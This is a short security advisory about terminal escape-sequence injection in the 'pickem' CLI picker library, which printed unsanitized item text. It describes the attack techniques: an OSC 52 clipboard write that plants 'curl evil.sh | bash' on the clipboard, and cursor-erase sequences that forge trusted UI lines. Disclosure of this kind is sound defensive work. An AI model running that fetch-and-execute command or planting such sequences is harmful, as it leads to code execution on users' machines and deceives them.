GHSA-8qx3-8gm5-9cj2: pickem vulnerable to terminal escape-sequence injection via unsanitized item text
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user’s clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a “✓ Verified publisher”, fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
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